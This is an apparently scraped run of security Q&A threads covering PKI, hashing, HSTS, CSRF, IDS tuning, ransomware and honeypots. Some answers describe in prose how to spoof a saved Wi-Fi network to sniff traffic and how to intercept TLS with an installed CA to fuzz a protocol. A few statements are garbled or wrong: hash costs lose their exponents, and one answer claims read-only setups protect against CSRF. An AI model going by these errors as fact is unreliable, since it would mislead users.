What do people mean by "top-down manner" in X.509 certificates? What do people mean by saying that X.509 certificates work in "top-down manner"? Do they say that because CAs can do cross certifications?

"Top-down" means that certificate validation proceeds from the root CA down to the end-entity certificate (i.e. the certificate you want to validate). This relates to the idea that an X.509 PKI is meant to be hierarchical: at the "top" there is one or a few root CA, which are trusted a priori, and then trust trickles down to the intermediate CA whose certificates have been issued (signed) by a root CA, then to other intermediate CA issued by the previous intermediate CA, and so on, until trust reaches the certificate for an email user or SSL server.

Notions of "up" and "down" are completely arbitrary, of course, but it is traditional to consider that the source of authority and trust is at "the top".

Interestingly, the root of a biological tree is at the bottom; however, in computer science, trees are customarily represented with the root on top, as in this picture (taken from Wikipedia):

By contrast, the PKI structure for which OpenPGP was designed, i.e. the Web of trust, is not "top-down" because it is highly decentralized, so there is no "top" entity.

Cross-certification are in fact non-tree-like features; the more cross-certifications you do, the less top-down the PKI becomes. One could say that the Web of trust is a hierarchical PKI with so many cross-certification that the initial, hierarchical structure has become redundant and was bodily removed.


Are all vulnerabilities exploitable? I understand the difference between a vulnerability and an exploit, but as I surf the exploit databases, I see more vulnerabilities and less exploits. Shouldn't there be at least one exploit for every vulnerability which is uncovered? Aren't all vulnerabilities exploitable?

What I am trying to say is that, when I search for exploits on exploit database with a particular CVE ID, there is no guarantee that an exploit for that vulnerability would be available. How can a vulnerability be considered a vulnerability if it cannot be exploited?

By definition a vulnerability is a weakness in software systems, be it web applications, the network daemon service running over a port or a thick application as a binary. A weakness could be taken advantage of using ex-filtration mechanisms - the primary reason to this could be two:

Extract data which is highly sensitive
Elevate furthermore privileges on top of what is already affected

An Exploit facilitates both of these factors. Hence, by definition an exploit or a exploit code should be an amplifier to an existing vulnerability on systems or set of different kind(s) of system(s).

If a vulnerability is detected during a lexical analysis which might be due to a source code security audit, a reproduction of the which attempts to either get you access to special data or otherwise grant elevated privileges fails, it doesn't mean there would be no vulnerability but what it does mean that there were no exploits readily available which can grant you any of these.

What could it grant?

May be chaining multiple vulnerabilities including the particular discovered vulnerability would
It might as well be that the vulnerability doesn't affect all systems but a specific instance depending on a platform it is hosted on or other dependencies?
The vulnerability is identified & advisories are released but previously it were a 0day which were sold off to the affected vendor which later never disclosed a potential full fledged step-by-step exploit code or any documentation of how a particular 'trigger' factor of the vulnerability would work.

To answer your question,

Vulnerabilities could be considered as a risk factor without a doubt.
Vulnerability does not always end up with exploitation or a working exploit availability.
Some Vulnerabilities are always exploitable depending the right chaining is done or otherwise the undisclosed working exploit code is released. This again depends on the vendor disclosing party.
Vulnerabilities are system weaknesses. It could lead to critical, high, moderate, low, or informational instances depending on how much sensitive data were leaked, how high elevated privileges were obtained.

Other factors might exist including but not limited to that of if the vulnerability could be chained to another potential vulnerability which happen to exist on the same system or set of system(s) affecting the CIA triad of security & hence compromising compliance factor.


SSH host keys vs. certtificates I'm struggling to understand what the difference between SSH host keys and certificates is. When to use which ? How do they differ?

With an SSH host key the client has to already trust the host or has to accept the fingerprint on the initial contact - of course only after validating that the fingerprint matches the expected one. When using a certificate the host key is instead put inside this certificate and the additional features of the certificate like subject, issuer and signature of the issuer make it possible to derive trust into an yet unknown host key from trusting the issuer. It also makes it possible to have a limited life time of the host key and to revoke it. Essentially using a certificate makes using a PKI possible which make everything more scalable.

If you understand how certificate validation works in the browsers you can also compare it to self-signed certificate vs. CA issued certificates: the simple host key is comparable to a self-signed certificate, where one explicitly needs to add the trust to each browser. The host key inside a certificate together with a PKI is instead similar to the CA issued certificates we have in almost all cases when accessing a https-URL. In these cases the trust in the server certificate is derived from the trust in the root CA's located in the trust store of the browser or OS, i.e. only these root CA needs to be known up-front but not each server certificate.


Should private messages be encrypted? I want to implement a private messaging system to my website, but I'm wondering if the content of the -supposedly private- message between Alice and Bob should be stored in plain text in the database or it should be encrypted prior to that, so that even if the database is hijacked, the attackers wouldn't be able to read the messages.

So my questions are:

Is this neccessary to do if your site is not a banking/PayPal-like
site? Do Facebook, YouTube, etc. do it this way?
How would I go about letting only Alice and Bob decrypt it?

It might be overkill to do this (at least in the website I'm working on), but if I'm going to do it, I guess it's better to do it before launching the site.

Well, as the previous posters already explained, a real encryption validating the recipient is very hard to implement.

What you can do with easier methods - like symmetric encryption on application level - is to create a layer of abstraction:
When an attacker gains access to only the datastore (like when there was a vunerability in the datastore's permission/ACL system or a possibility for query injection - those are common flaws), the data will stay safe. The application will be necessary to gain plain text.

I guess (no facts, though) that social networks and communities are unlikely to do more - or even do anything.

The only real answer for your topic question is: It depends. (like always)

If you're creating a forum about sweet cats, PN encryption is probably not an issue you should primarily deal with.


Is it secure to split information into multiple packets? I just stumbled upon this SO question.
I was wondering if it would be still secure to split the encrypted packet into multiple packets, which are then transferred over the wire separately.

Could someone tamper with the MAC or contents of the packet if it was split and sent separately?
Is splitting information into packets a common way to transfer large amounts of data? What security implication does it have?

Intuïtively: If sending the data as a whole is secure, then splitting it must be secure too, because the attacker can split any data themselves however they want.


Why do I need to unlock my phone to enable wifi I have a mobile phone running Android 6.0.1, even when the phone is locked, I still can access various settings from the quick settings menu, one of those is the wifi setting. However, when I enable it, I need to unlock my phone. What threat(s) are they trying to prevent by forcing me to do that?

I know that by enabling wifi, my phone will try to connect to all APs with the same name as the one I have saved, and if there is no password, it will connect. But what is the worst that could happen?

When you enable WiFi your phone will broadcast all it's known SSIDs it has been connecting to. So let's assume one of the SSIDs you've been connected to is called "StackExchange" without an password and your running some highly sentensive application with are sharing information over none encrypted connection and you have automatically connnect ticked (which is done by default).

I would able to use AirCrack-NG to spoof an SSID "StackExchange" which would make your phone connect to my AP then I would able to sniff all your packets and then it would open your phone to attack.


How does driver install with an expired cert? I'm working on making a silent installer of WinpkFilter driver. In my silent installation, I'm always getting a (not so silent) prompt that says "Windows can't verify the publisher of this driver software".

Rightfully so. The cert expired in 2013 and it's cert path is just itself, which isn't a CA.

So how does the real installation do it? When I test the real installation it installs and uses the same expired cert, but there's no aforementioned Windows prompt.

How does it do that?

From what I read in the comments and in chat I think this is related to timestamping. The driver has been signed at a time the certificate was valid. That signing time was confirmed by a certified timestamp server.

In that case, the driver is considered as trustworthy, since everything was fine at the time of signing.

To check for a timestamp, open the file properties in Windows Explorer, go to "Digital signatures" and check if there is a countersignature with the timestamp. It should look like this:

Your application (installer), however, was

not timestamped at all
or the timestamp was not provided by a trusted timestamp server
or the certificate itself was revoked to a time before the timestamp was created
or the certificate is not trusted by a CA

so that a warning UAC dialog is shown.


Connecting to Oracle Database from VBScript - Hiding Credentials At work our first level support uses a ticket management system that allows us to add extra functionality via VBScripts that the application invokes.  First level support also receives quite a few requests for a certain issue that requires a very simple one line of SQL code to fix.  We'd like to provide them with a solution (ie: VBScript) that they can invoke to quickly fix the issue while the client is on the phone instead of escalating to a team that has access to the database.

However, we are hesitant to create a VBScript for them to use to fix this problem since the VBScript would contain database credentials and they are able to view the script if they know where to look.  Obviously the database user account that would be used for this would have very limited access, however, exposing the credentials still doesn't sit well with with us.

The approach we're thinking of taking is to have an intranet exposed application that the VBScript would connect to and this application would be the one that would perform the database change.  This would prevent us from having to put the database credentials in the VBScript, instead they would be in a closed source web application that we have full control over.  However, I'm not 100% sure how to prevent unauthorized access to this "middle man" application.  Is there any industry standard for dealing with situations where you want only one source (the VBScript) to be able to connect to an application?  We could simply password protected this application, however, that's credentials again and any credential exposure doesn't sit well with us.  I'm thinking something more along the lines of cryptography keys which would mean almost nothing to most individuals.  Any help and insight into how to address our problem is highly appreciated.

Consider using a credential authenticated VB .NET TCP session to your database server as the secure interaction agent for your process. Microsoft has an example here.

If the first level support folks have the certificate for the VB transactions on their systems rather than the DB certificates you will not have to expose anything more than the capability your have already decided to delegate to them.  The DB certificates can remain on the database and be used to kick off the change in authorization needed once the secure VB request comes in from the help desk.


Is it more secure to specify https:// in front of a domain? When requesting a website, let's say "crypto.stackexchange.com" often you get redirected to a secure connection, in this case
"https://crypto.stackexchange.com".
Would I then request an insecure connection (http), get redirected to the secure https protocol by the http response, and thus making a less secure request?

Would I then request an insecure connection (http), get redirected to
  the secure https protocol by the http response, and thus making a less
  secure request?

It depends.
In all generality the answer is yes, you are making an insecure HTTP request first and then the server tells you (hopefully with a 301 response) that you should use the HTTPS site instead and the browser loads that one. Of course, on the first insecure request anything could happen, including you being served a fake website. However there are (at least) three exceptions to this rule, which will make the browser look up the HTTPS version directly.  So let's go through them!

301 Redirect Caching. 301 is the HTTP status code for "permanently moved" and some browsers are caching this response and don't even try to request the old site anymore but send you straight to the new one, for performance reasons and in this case a HTTP to HTTPS redirect  would also profit from this.
Browser Add-Ons. There are browser add-ons which keep a database of domains supporting HTTPS (somewhat) and if you request data from any of these domains, the add-on will automatically re-write the request to ask for the HTTPS version of the site. HTTPS Everywhere famously does this and covers a wide range of websites which don't deem their HTTPS "production-ready" (such as Stackexchange prior to March 2017).
HTTP Strict Transport Security (HSTS). This is flag in the HTTP response header which states that the site (and optionally all its sub-domains) may only be accessed using HTTPS during the next specified days without exception. This way, when you request a known HSTS domain, the browser will directly convert the HTTP request to a HTTPS request automatically. As a bonus, you can register for HSTS pre-loading for your site with the browser vendors and then the browsers will come with your HSTS entry pre-equipped starting with the next update. Stackexchange has HSTS deployed without pre-loading (on most sites).


Firefox security with NoScript If I'm too annoyed by NoScript's default white listing mechanic and I would only use this addon with the "allow scripts globally" option enabled, does it still make sense to have NoScript installed?

In other words: Do the other benefits that NoScript provides outweigh the potentially bigger attack surface that comes from installing this addon?

Yes, it makes a lot of sense.

Firefox does not have an XSS filter, but noscript provides one.

While browser-side XSS filters are not an ideal solution to XSS and can possibly be bypassed, they do catch a great number of reflected XSS attacks. As those are one of the most common web attacks, it is good to have some client-side protection against them (this is even true if you are careful clicking on untrusted links; XSS payloads can also be submitted via forms from websites which you sort-of trust).

Additionally, noscript provides protection against clickjacking. It also claims to have limited protections against CSRF and that it automatically adds the secure flag to cookies.

Weighting these benefits against the downsides of installing third-party software into your browser is difficult, but just the XSS protection would be worth it to me.


securing /var/www with .htaccess So I have a web directory running on a server and I want only people with the password to be able to get in.

Is it possible to secure the web root with .htaccess? Is there any extra steps I need to take?

I currently have tried setting it up as follows:

In a folder outside the web directory, I have /.../.../.htpasswd
.htpasswd is set up with a single, non encrypted password like:

 username:password

Then I have /var/www/.htaccess
htaccess looks like this:

AuthUserFile /.../.../.htpasswd
AuthName "Secured Area"
AuthType Basic
require valid-user

Its an apache web server running on ubuntu. I'm pretty sure it has support for this because the syntax highlighting is working in vim, but its not working. Do I need to restart the web server?

is it not possible to secure root?

sorry for the noob ?

also, I can still run scripts within the directory right?(as long as I'm in the dir first)

In /etc/apache2/sites-available/default, make sure you have AllowOverride All instead of AllowOverride None.  With None, .htaccess files are not parsed/evaluated.


Configure Firefox the use Burp proxy I am very new to Kali, and pen testing, so please correct my terminology if it is off

I have configured the proxy for the firefox browser on the kali linux server to use 127.0.0.1:8080 following the instructions from the support.portswigger.net site.

If i have the proxy set to Auto it will connect to google and any other site fine if i configure it to use 127.0.0.1:8080 it will just spin forever and not make a connection also the tabs in the burp suite do not show any activity

While the browser proxy is still configured to use 127.0.0.1:8080 and i hit an intranet website the proxyand intercepts tabs light up but it says connection closed and once again firefox just spins

How should I configure the firefox proxy locally on the same kali server to be able to get to the internet?

I have been through the steps here:

https://support.portswigger.net/customer/en/portal/articles/2363078-burp-suite-options-upstream-proxy-servers

And here:

https://portswigger.net/burp/help/suite_troubleshooting.html

And everything looks correct.

You have probably configured firefox correct, but you have intercept on, in the proxy-intercept tab turn of interception or forward/drop the request.


Difference between Second Pre-image Resistance and Collision Resistance in Cryptographic Hash Functions I am studying the subject from these notes. However it is not clear what is the difference between "Second Pre-image Resistance" and "Collision Resistance" properties of Cryptographic Hash Functions.

As the notes say at "Second Pre-image Resistance", given x1 it is computationally infeasible to deduce x2 such that h(x1) = h(x2). What is the relation between x1 and x2 here?

At "Collision Resistance", it is computationally infeasible to find a x1 != x2 such that h(x1)=h(x2). Is that a sub-case of "Second Pre-image Resistance", where x1 != x2?

Could you clarify the difference between these two?

Collision resistance is about the infeasibility of finding two distinct inputs m and m' such that h(m) = h(m'). The attacker gets to choose m and m' arbitrarily, as long as he ends up with two distinct messages that hash to the same value.

Second-preimage resistance is very similar except that the attacker does not get to choose m. Instead, we give him m, and challenge him with finding m' (distinct from m) such that h(m) = h(m').

A second-preimage is also a collision, but we keep the concept distinct because second-preimages are supposed to be substantially harder. If the hash function has an output of n bits and is "perfect" (no known weakness), then the cost of finding a collision is 2n/2, while the cost of finding a second-preimage is 2n (i.e. a lot more).

Suppose that we are talking about signatures. Since a signature algorithm begins by hashing the data that is to be signed, and then works only with the resulting hash value, then it follows that if h(m) = h(m'), then a signature s on message m will also be a valid signature on message m'. The goal of the attacker is to forge a signature, i.e. get a signature that seems valid on a message of his choosing.

If the attacker sees a valid, signed message m, then he may want to find a message m' that hashes to the same value. This is the second-preimage model. For the signature system to be robust, the hash function must provide second-preimage resistance.

Collision resistance, on the other hand, is not necessary in that case. It is necessary, though, with another model where the attacker can obtain a signature on a message m that looks innocent, and wants that signature to be also valid on a message m' with less benign contents. For instance, I am the attacker and I send you a contract where you promise to send me 1$. However, I crafted that contract m such that it collides (hashes to the same value) with a slightly different contract m', where you promise to send me 1000000$. If I can get you to sign the first contract, then, thanks to the collision, your signature also applies to the second one (and you lose).

Thus, collision resistance and second-preimage resistance are two distinct concepts, and what you need depends on the context. In the case of signatures, you need at least second-preimage resistance; but if the context is such that the attacker can obtain signatures on data that he chooses, then collision resistance is also needed. This has been demonstrated with MD5 as the hash function, and X.509 certificates (mind the details: the collision attack on MD5 could be applied to certificates because the researchers found a CA that generates certificate serial numbers in a predictable way).


Why are SQL servers not attacked as frequently as ssh servers? I have a server running with both SSH and MySQL accessible to the public internet. Both run on default ports (22 and 3306).

The ssh server is attacked by bots all the time. This is the output of fail2ban-client status sshd after about two weeks:

Status for the jail: sshd
|- Filter
|  |- Currently failed: 1
|  |- Total failed:     1491
|  `- File list:        /var/log/auth.log
`- Actions
   |- Currently banned: 697
   |- Total banned:     697

The log for the MySQL server after the same time:

Status for the jail: mysqld-auth
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     3
|  `- File list:        /var/log/mysql/error.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     1

Why is the MySQL server not also attacked? Are attackers simply not interested in database access?

Because:

1) Most RDBMS (including MySQL) don't instrinsically support client connections or access to a shell to start a new client (limiting malware's ability to spread)

2) Most people don't expose their DBMS on the internet


Are there a standard method(s) for me to give someone else read-only access to my data? Are there a standard method(s) for me to give someone else read-only access to my data?

There are several situations where I may want to give a few people read-only access to some data, but I would rather not give those people my secret passwords that allow full authorization to act as me.

I want to see pretty stock market graphs, so I want to give this web service enough access to see which stocks/mutual funds/etc. I own, and how much of each one -- but not enough access to buy, sell, etc.
I want to allow the person who does my taxes enough access to my bank account(s) to download all of last tax year's transactions -- but not enough access to transfer money. (One person at " Could mint.com be more secure, and if so, how? " claims there is an OAuth-like system "designed by the banking system" for this -- what is the name of that system?)
How to use 'key material' so that multiple people can access protected files?
I want to allow people I have authorized to do a background check on me to see who my "friends" are on social network sites -- but not enough access to let them add new friends, defriend old friends, change privacy settings on my photos, etc. ( "The Dangers of Asking for Social Network Passwords" ; Job seekers getting asked for Facebook passwords, SNOPA legislation would bar employers from social network passwords, 6 Good Reasons NOT To Ask For Facebook Passwords , etc. )
When I start using a new social networking site, it would be nice to know which of my friends (that I know from real life or from other online sites or both) already have an account on that site -- but simply handing over my gmail password seems like the wrong thing to do. What is the system called that allegedly lets Etsy ( How can I find my friends on Etsy? ) look at my email contact list without giving Etsy my gmail password? Is there a way to somehow give only a hashed version of the email addresses, so my friends don't "accidentally" get spammed?
New laws may require me to track who I disclose information to ( HIPAA "Is a W-2 form protected health information?"). I can't do that if Alice simply gives Dr. Bob her password to get her information -- from my point of view down in the server basement, I can't tell the difference between Alice typing her own password and Dr. Bob typing Alice's password. What kind of systems(s) allow Alice to tell my server that she's authorized Dr. Bob to see her information, and then allow me to comply with the law and later tell Alice if/when Dr. Bob actually did access her information?

Are there a standard method(s) for me to give someone else read-only access to my data?
I'm kind of hoping this is one of the Solved Problems of Cryptography.

Are there standard method(s) for me to set up a system so that Alice can allow (and later revoke) permission for Dr. Bob to look at her information on my system, but prevent Dr. Bob from accidentally or deliberately modifying her data?

(Decades ago, an excellent answer to this question involved "traditional Unix permissions" and "Unix groups". Perhaps also "setuid" or "setgid").

Sure.  There are several standard approaches to this problem:

Export. Alice exports her data to a file or document, and then sends Dr. Bob a copy of the data.  Now Bob can modify his local copy, but that won't affect Alice's resources.

Of course, the disadvantage of this approach is that it only provides Dr. Bob with a snapshot of Alice's data.  If Alice's data is changing over time, Alice will have to make a new copy every time Dr. Bob wants to see the latest data.  However, one advantage is that this is very easy for Alice.  It doesn't require any support from the underlying system or any special expertise.
Proxying. Alice wants to give Dr. Bob read-only access to some of her resources, so she sets up a proxy.  The code of the proxy has full access to Alice's resources, but Alice writes the proxy code so it will only perform read operators.  The proxy exports an API that allows read-only access, and Alice gives Dr. Bob access to the proxy.

Of course, the problem with this is that Alice has to be a programmer or equivalent to follow this approach.  The advantage is that it requires no support from the underlying system.
Support for read-only sharing. You can write the system so that Alice can grant others access to her data.  You can further write the system to provide an option to share the data as read-only.  For instance, Google Docs lets you share a document with others, and if you choose, you can choose to share it as read-only (so they can read the document but not modify it).

Of course, this approach requires support from the underlying system.  The system has to be built to support this use case.  However, this approach is likely to be easy for users to understand.
Attenuated capabilities. Many capability systems provide built-in support for this use case.  Alice has a capability that allows her to access her data.  The system provides a way so that Alice can generate an attenuated version of her capability: a read-only capability that only refers to the same resource, but only grants read access, not write access.  Now Alice can share this capability with others.

For instance, a web application might give Alice a way to generate a link (URL) to her data, so that anyone she shares the link with gets access to her data, too.  (Google Docs also supports this mode of operation.)  If the web application is written to support it, the web application can also let Alice generate a URL that grants read-only access but not write access to anyone Alice shares the link with.

The disadvantage is that this, too, requires support from the underlying system.  The system has to be built with read-only sharing in mind.


What are the mitigating factors for CVE-2015-5364? CVE-2015-5364 describes a UDP based DoS vulnerability in the Linux kernel that can be used to deny processing cycles to the host operating system and its applications.

https://access.redhat.com/security/cve/CVE-2015-5364

  A flaw was found in the way the Linux kernel's networking implementation handled UDP packets with incorrect checksum values. A remote attacker could potentially use this flaw to trigger an infinite loop in the kernel, resulting in a denial of service on the system, or cause a denial of service in applications using the edge triggered epoll functionality.

I noticed that Debian released a fix for this, but Redhat still hasn't, and they're classifying this as Important instead of Critical. Important implies that there should be some sort of mitigating factor to the remote exploit, but none of the information I can find has done a good job of explaining what is reducing the risk.

All of this is mildly concerning, but since the internet (or at least Google) isn't on fire I'm forced to assume that Smart Security People aren't terribly concerned. Unfortunately, I'm not as smart as them!

While I'm happy to continue squeezing Redhat for more information (and will update this Q&A if that begins yielding results), I figured that maybe Security.SE could lend a hand here with understanding this. I don't think that routers would be dropping the packets because the bad checksums are in header for the encapsulated protocol, so what prevents this CVE from being a big deal?

The reason why it's important and not critical is not because there are mitigating factors. The description of Important is:

  This rating is given to flaws that can easily compromise the
  confidentiality, integrity, or availability of resources. These are
  the types of vulnerabilities that allow local users to gain
  privileges, allow unauthenticated remote users to view resources that
  should otherwise be protected by authentication, allow authenticated
  remote users to execute arbitrary code, or allow remote users to cause
  a denial of service.

Which is exactly what this flaw is. It's currently not classified as critical because critical would imply:

  lead to system compromise (arbitrary code execution) without requiring
  user interaction

In case of this vulnerability there is no arbitrary code execution. If you look at the base CVSS metrics: AV:N/AC:M/Au:N/C:N/I:N/A:C There is only compromise to the availability of the machine. There is currently no compromise to the integrity or confidentiality.

Mitigating factors might not be available at the moment on Red Hat itself, but considering you need to send a UDP packet to the machine, you could easily configure your firewall (which you hopefully have in front of your internet facing machines and on your internal network zone demarcation points) to drop UDP packets.


How can I securely disable CSRF validation for native clients when browser clients access the same API? I have an API endpoint that is accessible by both native (console, mobile apps) and Javascript based clients.

How do I ensure that the CSRF AntiForgeryToken is only invoked during Javascript calls?

Can this be done in a non-authenticated/anonymous manner?
Or are the entitlements listed within an authentication token the only way for a server to determine if CSRF should be applied? (native vs browser flow)
Do Javascript clients (not the libraries themselves) have a specific set of HTTP headers and corresponding values that I can rely upon to determine the request type?
Does separating the API services (APIController) onto a separate web server, with a different DNS name, allow me to use Same Origin Policy (SOP), to effectively force the Javascript clients to apply the headers that would otherwise be omitted in scenario 3 above?

You have a few options, in random order:
1. Different authentication schemes
Web browsers frequently authenticate by session identifiers in cookies.  Many native apps attach auth tokens directly in the request header (in an Authorization header or some other custom header key).  CSRF is generally only a concern when authentication comes up with cookies.  As a result, if your application only checks CSRF tokens when the user is authenticated via cookies, and if your native apps don't use cookies for identifying themselves, then you'll be fine.
2. Client side certificates
This probably isn't worth the trouble, but if you enable client identification via client-side certificates (and do it properly) then you can be certain that the person on the other end of the conversation is an app, not browser, and disable CSRF validation.
3. Custom headers
One potential strategy would be to include a custom header with the request from the native app, and disable CSRF protection if present.  This is likely a safe strategy.  Further reading here:
CSRF protection with custom headers (and without validating token)
4. Anonymous requests
You asked about doing this is an anonymous manner.  To some extent (aka this is not 100% applicable) anonymous requests don't need CSRF protection because the whole point of a CSRF attack is to take over a user's session.  If a user is anonymous and not logged in, then there probably isn't much to take over anyway.  An application without logins, which stores no state as a result of client actions, doesn't really need CSRF protection in the first place (although I may have misunderstood what you meant there).
5. Separate Endpoints
I think this is what it really comes down to.  If you have an endpoint serving two different clients in two different ways, then I think the issue is that you need two endpoints, one with CSRF checks disabled and one with them enabled.  Of course this only actually works if the two endpoints are authenticated differently, which really just brings us back to item #1.  If you have two separate endpoints, one for native (with CSRF disabled) and one for web (with CSRF enabled), but both accept the same cookie for authentication, then an attacker can perform CSRF attacks the second they realize that that native API exists and accepts the same cookie as the web.
Ideally I think you should have two separate endpoints.  Even if the two perform almost exactly the same action, you can always just structure your system so that you use the same basic code to fulfill both API calls, but they have separate endpoints and separate authentication logic.  Of course the other option would be to have one endpoint meant for both systems, that operates exactly the same for both.  Having one endpoint that tries to operate differently for two different systems is probably the easiest way to get yourself in trouble.
I didn't hit up your questions point-by-point, but I believe these are effectively all the options you have, so hopefully it answers your question anyway.


SSH brute force entry in aws ec2 instance I am planning to host a flask application on EC2 instance, which connects to a database. The database credentials are inside a folder on the server.

EC2 login can be done only via ssh private key. The flask API itself is not ssl secured but when it talks to database its over a secure connection.

Is it possible to login into the EC2 via ssh brute force or any other way & acquire database credentials. I have not enabled username & password login to ec2, login is only via private key.

If SSH password authentication is disabled, an attacker should not be able to log in over SSH without possessing the correct private key.

Besides SSH, if there are any vulnerabilities in any other exposed services (e.g. your Flask app), those could potentially be exploited to gain access to your server.


Is overlayroot a significantly more secure way to use the Internet? I've been looking into overlayroot as a strategy to help secure my projects that are 'under wraps'.

Installing overlayroot on a Linux system allows one to make their hard drive read only and run their Linux OS entirely in RAM.

I have installed overlayroot and always boot in tmpfs mode. I have created two encrypted partitions, using dm-crypt, one for online and one for offline use. I use my online for research and social networking. I use my offline for proprietary work. I always reboot if I need to switch from online to offline activity. If I've been online or will go online, I will reboot before I open my offline drive.

Is the use of overlayroot a more secure way to use the Internet? Yes or no, please explain what vulnerabilities are handled or not handled to support your answer.

Running a system from RAM only like you propose makes it harder to permanently infect the user account the browser is running on because user only infections will be removed on the next restart.

But, you propose overlayfs which means that most of the data are still stored on some permanent storage and only few data like browser history or cookies are stored in RAM and thus reset on next start. This means that if an attacker finds both a browser exploit to get user access and then a privilege escalation to get system access then the attacker could still write directly to the disk installed in the system (bypassing overlayfs) and thus make the infection permanent.

Insofar your approach is more secure than the normal setup but it still has its problems. Using a physically read-only media like a DVD as the base file system like many live distributions do would be more secure but would still make it possible to make permanent changes to BIOS/UEFI and other permanent and read-write storage on the system.

But of course none of these approaches help against session hijacking or identity theft or similar attacks possible due to bugs in the web applications used. And they also protect you against CSRF or other web based attacks which infect the local router in the network since no local permanent storage is needed for these attacks.


How can an admin choose which Snort rules to enable? The purpose is to configure Snort as an IDS to monitor network activity, and alert against the standard set of things an IDS should alert against--> buffer overflow attacks, injection
attacks, port scans & information leaks to name a few, or in general, the attempts to detect/exploit vulnerabilities, leak confidential data and evade policies.

How is a network admin suppose to decide that what Snort rules he should enable for his network?

How does one shortlist on the .rules files to be used and the rules (in them) to be enabled?

You just asked the most decisive question that has huge impact on detection.
It is a tedious (rather very interesting) and ongoing full time job to best fine tune IDS, especially in large networks.

General rules

Very important. Know your environment very well! There is no excuse
this requirement.  You have to know what you are protecting, network
ranges, application, how the application run , and are developed on -
including web server types (iis, apache etc.), operating systems (Linux, windows, Cisco
stuff etc.), technology (asp, php, java etc.), other products (erp,
databases etc.), and most importantly what type of data (ssn, bank info, PII etc.).
Study and compile a list of all the above information, and
appropriate network segments they reside in. It will give you a clear map of what signatures you really need, if all your web servers are running IIS with ASP .net then there is no need of php signatures. If you are a bank then you want most data leak signatures turned on, You will have to make this categorization and sorting of types of rules you need.
Leave the standard signatures like port scan, malicious activity, major worm/viruses etc.  active on IDS, they always help.
Improve and update the list regularly, track changes in the
environment, new added software/application to upto date signature
list, and then select any new signature updates.


How to fuzz proprietary protocol over SSL? I'm doing vulnerability research on a client/server architecture that uses a custom proprietary protocol sent over SSL (port 443). I need to be able to intercept the traffic, and be able to view it in clear-text in something like Wireshark, modify the traffic and then send it to the server. The "client" is a Microsoft office plugin. My end goal is to be able to fuzz the unencrypted network communications.

I've tried generating a self-signed certificate with OpenSSL and importing the private key into Wireshark as a "data" protocol, but no luck. I still see the data as "Encrypted Application Data".

I've tried following these two links:

Wirewatcher: Decrypting SSL traffic with Wireshark, and ways to prevent it
Wireshark Wiki: Secure Socket Layer (SSL)

but they provide examples for HTTP. I am not sure if there's any difference, because this is a proprietary protocol (still sent over port 443).

My end goal is to be able to use a fuzzer, such as Sulley, to probe the server for vulnerabilities. Does anyone recommend a good way to accomplish this?

There's two ways to decrypt SSL traffic in-transit:

The first is to have the private key of the server. If you have that, you can feed it to wireshark which will do the rest. There are a handful of dedicated tools for this as well. But it can't be done without the server's private key.

The second is to MITM the connection. Fiddler will do this, as previously mentioned, and there are several industrial-grade tools that will do this as well. The catch is that you need to have a certificate that the client will trust. If it uses the standard Windows CA store, then adding your signing cert as a CA on the client computer should be enough.

The second option sounds more like what you want to do, and Fiddler sounds very much like the tool you're after, since "fiddling" with a connection is exactly what you're trying to do.

Note that if you're working with a custom protocol, what you're trying to do may involve writing some custom code. But it's possible.


Is a web application firewall necessary if the application is secure? Recently I've been reading about Web application firewalls and the fact that they protect against most frequent attacks like injections, XSS or CSRF.

However, a good application should already be immune against these exploits, so why do companies prefer buying those expensive devices to try to protect (WAFs aren't perfect either) apps with security flaws instead of fixing those security flaws in the first place ?

Thanks for your detailed answers, I never thought such a newbie question would get so much attention.

When deploying security, it is often a good idea to apply multiple layers. Just because you have a lock on your bedroom door doesn't mean you don't put one on the front door to your house. You may also apply a generic set of WAF rules in front of multiple applications.

A WAF may be part of a larger suite for IDS/IPS, it could also help with the performance of the application if the WAF is inline so that the application doesn't waste resource on the blocking, logging, db queries, etc.

You also make an assumption that the organization has the resources and skill to gain reasonable assurance about their application's security. If it's a third party application or has third party modules, those components may not be easily upgraded or it may be closed source or against the license to modify the program.


How does genuine ransomware exist? Typically, ransomware will encrypt the victim's files and ask for money in exchange for the decryption key.

If you do pay the ransom, does it actually deliver on this promise? It seems to me that having employed the ransomware in the first place, the operator has already proven himself unreliable and willing to act in bad faith. Once you do pay the money, what's stopping him from simply disappearing without giving you the key?

Why even have the key in the first place, when you can just delete the files (or overwrite with random data) and then claim they are encrypted when asking for money?

While other answers state that it makes sense for the malware authors to deliver on their promise to decrypt your files (I agree, it does) they offer no evidence. Anecdotal evidence is the best you'll get in the case, but it is not unheard of that the criminals will actually decrypt your files for you.

This New York Times article details how the author's mother's computer became infected with ransomware. Here are some selected sections to answer your question:

  Of course, this advice arrives too late for my mom. And it appeared her payment had arrived too late as well: By the time I got home from Greenpoint, her CryptoWall ransom had been raised to $1,000, and the $500 in Bitcoins she had deposited had vanished. In a panic, she wrote to Mike Hoats asking for advice. What he told her sounded crazy to me. Use the CryptoWall message interface to tell the criminals exactly what happened. Be honest, in other words.

  So she did. She explained that the virus had struck the same week that
  a major snowstorm hit Massachusetts and the Thanksgiving holiday shut
  down the banks. She told them about the unexpected Bitcoin shortfall
  and about dispatching her daughter to the Coin Cafe A.T.M. at the 11th
  hour. She swore she had really, really tried not to miss their
  deadline. And then a weird thing happened: Her decryption key arrived.

  But Mr. Wisniewski had a more pragmatic take. “From what we can tell,
  they almost always honor what they say because they want word to get
  around that they’re trustworthy criminals who’ll give you your files
  back.”

  Welcome to the new ransomware economy, where hackers have a reputation
  to consider.

Additionally Dark Reading cites two additional cases of police departments paying the ransom, and getting their files back.

However keep in mind, there are many types of ransomware written by many different programmers with varying level of skill. Some will simply not give you a decryption key, and I image some botch their whole malware and can't offer decryption keys. Other cases have been known in which the decryption key is stored on the victims computer, and you can recover your files without paying anything(example).


Do blue teams plant CTF like canaries across infrastructure? I am working on a SaaS application that handles sensitive data. I had the idea of planting various canaries across our application / infrastructure to get early warnings of people being a bit too much interested in our work.

The idea is to plant various CTF like "challenges" with various difficulty that would allow us to get an idea of the skill levels of a potential threat actor.

Here are some of the challenges I was thinking of by increasing order of complexity:

Hidden folder with public but no-so-easy to guess URL
zip-bomb with fake DB dump
Expose a fake command injection form in our app and listen for every attempts
Regular SSH honeypot behind the DMZ
Document planted with a beacon in our file server
Plant a binary somewhere with a custom hidden backdoor
AWS credz planted in the git repo with an associated canary

Is this a really bad idea? Could this backfire to us?

What you have described is a medium- or high-interaction honeypot, honeyusers, and honeyrecords. The technique has been around for many years.

